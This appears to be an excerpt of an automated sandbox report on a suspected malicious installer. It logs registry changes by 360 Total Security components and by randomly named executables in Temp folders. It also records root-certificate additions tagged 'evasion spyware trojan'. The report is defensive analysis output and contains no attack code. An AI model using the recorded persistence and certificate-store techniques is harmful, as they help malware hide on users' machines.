Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\56-c1-9b-33-fc-2f\WpadDecisionTime = f072431ef7b2da01 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\ActiveMovie\devenum C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\360Safe\360Scan\NetProbe\1 = "1" C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software C:\Windows\SysWOW64\wscript.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings C:\Windows\SysWOW64\wscript.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{4B1F7EFC-BE73-4314-AFE9-A7FCF1AF7D21}\56-c1-9b-33-fc-2f C:\Windows\SysWOW64\rundll32.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\360Safe\360Scan\NetProbe\3 = "1" C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\frDbhUXJJbPEeVC\AvSYvqx.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections C:\Windows\SysWOW64\rundll32.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\360Safe\360Scan\NetProbe\5 = "1" C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 10bbc209f7b2da01 C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" C:\Windows\SysWOW64\rundll32.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\56-c1-9b-33-fc-2f\WpadDecision = "0" C:\Windows\SysWOW64\rundll32.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\360Safe\360Scan\NetProbe C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B69F34DD-F0F9-42DC-9EDD-957187DA688D}\InprocServer32 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B69F34DD-F0F9-42DC-9EDD-957187DA688D}\Implemented Categories C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MenuEx.SD360MN.1\ = "SD360MN Class" C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MenuEx.SD360MN.1\CLSID C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MenuEx.SD360MN\CurVer\ = "MenuEx.SD360MN.1" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{B09C75BE-F1AE-47BA-BC47-19F5C0A15B33}\TypeLib\ = "{FF9EAEBA-7783-4904-99E3-F3E322C0F648}" C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Safemon.NavigatMon.1 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B69F34DD-F0F9-42DC-9EDD-957187DA688D}\ = "SafeMon Class" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\SD360\ = "{086F171D-5ED1-4ED2-B736-CFF3AD6A128E}" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{FF9EAEBA-7783-4904-99E3-F3E322C0F648}\1.0\ = "MenuEx 1.0 Type Library" C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{FF9EAEBA-7783-4904-99E3-F3E322C0F648}\1.0\HELPDIR C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B69F34DD-F0F9-42DC-9EDD-957187DA688D}\InprocServer32\ = "C:\\Program Files (x86)\\360\\Total Security\\safemon\\safemon.dll" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B69F34DD-F0F9-42DC-9EDD-957187DA688D}\InprocServer32\ThreadingModel = "Apartment" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\SD360\ = "{086F171D-5ED1-4ED2-B736-CFF3AD6A128E}" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{086F171D-5ED1-4ED2-B736-CFF3AD6A128E}\TypeLib\ = "{FF9EAEBA-7783-4904-99E3-F3E322C0F648}" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{B09C75BE-F1AE-47BA-BC47-19F5C0A15B33}\TypeLib\Version = "1.0" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Safemon.NavigatMon\CurVer\ = "Safemon.NavigatMon.1" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MenuEx.SD360MN.1 C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MenuEx.SD360MN C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{086F171D-5ED1-4ED2-B736-CFF3AD6A128E}\Programmable C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{B09C75BE-F1AE-47BA-BC47-19F5C0A15B33}\ = "ISD360MN" C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Safemon.NavigatMon C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\Cleanup\command\ = "\"C:\\Program Files (x86)\\360\\Total Security\\QHSafeMain.exe\" /runclean" C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Safemon.NavigatMon.1\ = "SafeMon Class" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Safemon.NavigatMon\CurVer C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B69F34DD-F0F9-42DC-9EDD-957187DA688D}\VersionIndependentProgID\ = "Safemon.NavigatMon" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B69F34DD-F0F9-42DC-9EDD-957187DA688D}\ProgID C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B69F34DD-F0F9-42DC-9EDD-957187DA688D}\TypeLib\ = "{BB67E9B5-A1A3-4206-A443-DE93D592682C}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\SD360 C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{086F171D-5ED1-4ED2-B736-CFF3AD6A128E}\TypeLib C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{B09C75BE-F1AE-47BA-BC47-19F5C0A15B33} C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{B09C75BE-F1AE-47BA-BC47-19F5C0A15B33}\ = "ISD360MN" C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{B09C75BE-F1AE-47BA-BC47-19F5C0A15B33}\TypeLib C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Safemon.NavigatMon.1\CLSID C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{B09C75BE-F1AE-47BA-BC47-19F5C0A15B33}\TypeLib\ = "{FF9EAEBA-7783-4904-99E3-F3E322C0F648}" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{B09C75BE-F1AE-47BA-BC47-19F5C0A15B33}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Safemon.NavigatMon\ = "SafeMon Class" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Safemon.NavigatMon\CLSID C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B69F34DD-F0F9-42DC-9EDD-957187DA688D}\VersionIndependentProgID C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\SD360 C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{086F171D-5ED1-4ED2-B736-CFF3AD6A128E} C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{086F171D-5ED1-4ED2-B736-CFF3AD6A128E}\ProgID\ = "MenuEx.SD360MN.1" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{086F171D-5ED1-4ED2-B736-CFF3AD6A128E}\InprocServer32\ThreadingModel = "Apartment" C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{FF9EAEBA-7783-4904-99E3-F3E322C0F648}\1.0\FLAGS C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{B09C75BE-F1AE-47BA-BC47-19F5C0A15B33}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B69F34DD-F0F9-42DC-9EDD-957187DA688D}\Implemented Categories\{59FB2056-D625-48D0-A944-1A85B5AB2640} C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\Cleanup C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\SD360 C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MenuEx.SD360MN\CLSID\ = "{086F171D-5ED1-4ED2-B736-CFF3AD6A128E}" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{FF9EAEBA-7783-4904-99E3-F3E322C0F648}\1.0\FLAGS\ = "0" C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{FF9EAEBA-7783-4904-99E3-F3E322C0F648}\1.0\0\win64 C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{FF9EAEBA-7783-4904-99E3-F3E322C0F648}\1.0\HELPDIR\ = "C:\\Program Files (x86)\\360\\Total Security" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MenuEx.SD360MN.1\CLSID\ = "{086F171D-5ED1-4ED2-B736-CFF3AD6A128E}" C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{086F171D-5ED1-4ED2-B736-CFF3AD6A128E}\ProgID C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{FF9EAEBA-7783-4904-99E3-F3E322C0F648}\1.0\0 C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{FF9EAEBA-7783-4904-99E3-F3E322C0F648}\1.0\0\win64\ = "C:\\Program Files (x86)\\360\\Total Security\\MenuEx64.dll" C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{B09C75BE-F1AE-47BA-BC47-19F5C0A15B33} C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MenuEx.SD360MN\CLSID C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{086F171D-5ED1-4ED2-B736-CFF3AD6A128E}\InprocServer32 C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{FF9EAEBA-7783-4904-99E3-F3E322C0F648} C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\SD360\ = "{086F171D-5ED1-4ED2-B736-CFF3AD6A128E}" C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\SD360 C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{086F171D-5ED1-4ED2-B736-CFF3AD6A128E}\InprocServer32\ = "C:\\Program Files (x86)\\360\\Total Security\\MenuEx64.dll" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{B09C75BE-F1AE-47BA-BC47-19F5C0A15B33}\TypeLib\Version = "1.0" C:\Windows\system32\regsvr32.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\CABB51672400588E6419F1D40878D0403AA20264\Blob = 0b000000010000006c0000004a006100700061006e002000430065007200740069006600690063006100740069006f006e002000530065007200760069006300650073002c00200049006e0063002e0020005300650063007500720065005300690067006e00200052006f006f0074004300410031000000090000000100000016000000301406082b0601050507030406082b06010505070301030000000100000014000000cabb51672400588e6419f1d40878d0403aa2026420000000010000002d030000308203293082021102085f60585f00000000300d06092a864886f70d01010505003057310b3009060355040613024a50312b3029060355040a13224a6170616e2043657274696669636174696f6e2053657276696365732c20496e632e311b3019060355040313125365637572655369676e20526f6f74434131301e170d3939303931353135303030315a170d3230303931353134353935395a3057310b3009060355040613024a50312b3029060355040a13224a6170616e2043657274696669636174696f6e2053657276696365732c20496e632e311b3019060355040313125365637572655369676e20526f6f7443413130820122300d06092a864886f70d01010105000382010f003082010a028201010094900c4b71291cdaf668797aa4bae7d2cc8dafe84790991fc62aea9763e81fce1757c61ab3a8c77c87ed353580baba6e6dbe17fecc2d1b6cef8a004916e1ee065e4a075dab3dd150b89146d4d4da15d8945c0ecad7dabfa0f7493cc8bbceea26810a142d9c0d37456b41ca578b38f0261f31fccf348e8f77c13fe3ab543c27b4ce324c551362fcfe3a1625cf1b6ba223b7e0ea0269bbf722716d7c0b1993a1979ce391691f68e42f7d106d8f67aec110a2b05e634a97f7e678a9ad26bb54c9dfb4eec59ed325dd136853f98fe8ece5de81d6783eee5040b4013cac15c1823b2e7ff152278b72e0e7dbf98b29c3c34a2b3389ab5c2a07fc7c231e2b4f0822fec10203010001300d06092a864886f70d0101050500038201010055ed6f7b93e545314e68d55581a2081f6cdd09c5781a7057c8df0881ae6677c6750fe4ef498b035c6cff1c90a472b2d31612b206f84686aebfa715db854dfac22d4db3b5b043ef7c7e07db5fb357465176078644fd07eaf1cb4b454d66a73326c4f943aa8d12b3d48d68b6f70279b42d5ad70398042c6999aff4663b64acb2c02bc869549e4c4e48188dce57b53b51e51bd7fa3960db564513bee766d523f67c4800b04cef348d22acb22ed14c38cdfa580306ee3a73870a053acae4afd4c1ee1c857f2516cf27011f848a7708d0d346e820ec9fa48cf1bccdc41236801ec70928afe808bec0d3b23ed72e673da3cebb34fae285cdacce551d455b7885d3857a C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\9F744E9F2B4DBAEC0F312C50B6563B8E2D93C311 C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\E0AB059420725493056062023670F7CD2EFC6666\Blob = 0f0000000100000014000000a0a4dc95e6dce4171f4f508d8e02d74c6bf78df2030000000100000014000000e0ab059420725493056062023670f7cd2efc6666090000000100000020000000301e06082b0601050507030106082b0601050507030306082b060105050703080b000000010000004000000054006800610077007400650020005000720065006d00690075006d0020005300650072007600650072002000430041002000280053004800410031002900000020000000010000003a030000308203363082029fa003020102021036122296c5e338a520a1d25f4cd70954300d06092a864886f70d01010505003081ce310b3009060355040613025a41311530130603550408130c5765737465726e204361706531123010060355040713094361706520546f776e311d301b060355040a131454686177746520436f6e73756c74696e6720636331283026060355040b131f43657274696669636174696f6e205365727669636573204469766973696f6e3121301f06035504031318546861777465205072656d69756d205365727665722043413128302606092a864886f70d01090116197072656d69756d2d736572766572407468617774652e636f6d301e170d3936303830313030303030305a170d3231303130313233353935395a3081ce310b3009060355040613025a41311530130603550408130c5765737465726e204361706531123010060355040713094361706520546f776e311d301b060355040a131454686177746520436f6e73756c74696e6720636331283026060355040b131f43657274696669636174696f6e205365727669636573204469766973696f6e3121301f06035504031318546861777465205072656d69756d205365727665722043413128302606092a864886f70d01090116197072656d69756d2d736572766572407468617774652e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100d236366a8bd7c25b9eda8141628f38ee490455d6d0ef1c1b951647ef1848353a52f42b6a068f3b2fea56e3af868d9e17f79eb46575024defcb09a22151d89bd067d0ba0d92061473d493cb972a009c5c4e0cbcfa1552fcf2446eda114a6e089f2f2de3f9aa3a8673b6465358c88905bd8311b8733faa078df4424de7409d1c370203010001a3133011300f0603551d130101ff040530030101ff300d06092a864886f70d0101050500038181006590ac880f56d9e63034d426c7d050f192de6bd439880922c6a6638303f79977d8b2e518b85d63f3d473fb6c9c9978f14b787d1924c32b0284f8bc22d98a22d7a0fc71ec918720f1b8ecb1e55580ac3d52c8390ec2f0c0054fd682758cbd5fd2dc769a0512c9af72c3dc257ea44d8e17a5e0877fe19a5ae160dc64233c422e4d C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\394FF6850B06BE52E51856CC10E180E882B385CC\Blob = 140000000100000014000000509e0beaaf5eb92048a6506acbfdd8207aa782760b000000010000003c000000450071007500690066006100780020005300650063007500720065002000650042007500730069006e006500730073002000430041002d003200000009000000010000000c000000300a06082b06010505070303030000000100000014000000394ff6850b06be52e51856cc10e180e882b385cc0f000000010000001400000059173db6775d83ba20fb2c6a45171161c0b3af9d2000000001000000240300003082032030820289a00302010202043770cfb5300d06092a864886f70d0101050500304e310b300906035504061302555331173015060355040a130e457175696661782053656375726531263024060355040b131d45717569666178205365637572652065427573696e6573732043412d32301e170d3939303632333132313434355a170d3139303632333132313434355a304e310b300906035504061302555331173015060355040a130e457175696661782053656375726531263024060355040b131d45717569666178205365637572652065427573696e6573732043412d3230819f300d06092a864886f70d010101050003818d0030818902818100e43939931e52061b2836f8b2a329c5ed8eb211bdfeebe7b474c28fff05e7d99d06bf12c83f0ef2d6d124b211ded173098ad4b12c98090d1e5046b283a6458d6268bb851b207032aa40cda6965fc471373f04f3b7412439071a1e2e6158a0120be5a5dfc5abea3771cc1cc8373ab99752a7acc56a24944e9c7bcfc06ad6df21bd0203010001a38201093082010530700603551d1f046930673065a063a061a45f305d310b300906035504061302555331173015060355040a130e457175696661782053656375726531263024060355040b131d45717569666178205365637572652065427573696e6573732043412d32310d300b0603550403130443524c31301a0603551d1004133011810f32303139303632333132313434355a300b0603551d0f040403020106301f0603551d23041830168014509e0beaaf5eb92048a6506acbfdd8207aa78276301d0603551d0e04160414509e0beaaf5eb92048a6506acbfdd8207aa78276300c0603551d13040530030101ff301a06092a864886f67d074100040d300b1b0556332e3063030206c0300d06092a864886f70d0101050500038181000c8682ade84e1af58e8927e235583d29b4078f365095bf6ec19eebc490b285a8bbb742e00f0739dffb9e90b2d1c13e539f0344b07e4bf46fe47c1fe7e2b1e4b89aefc3bdcede0b3234d9de28ed336bc4d4d73d1258ab7d092dcb70f5138a94a127a4d670c56d94b5c97d9da0d2c60849d9669ba6d3f40bdcc52657e19130eacd C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
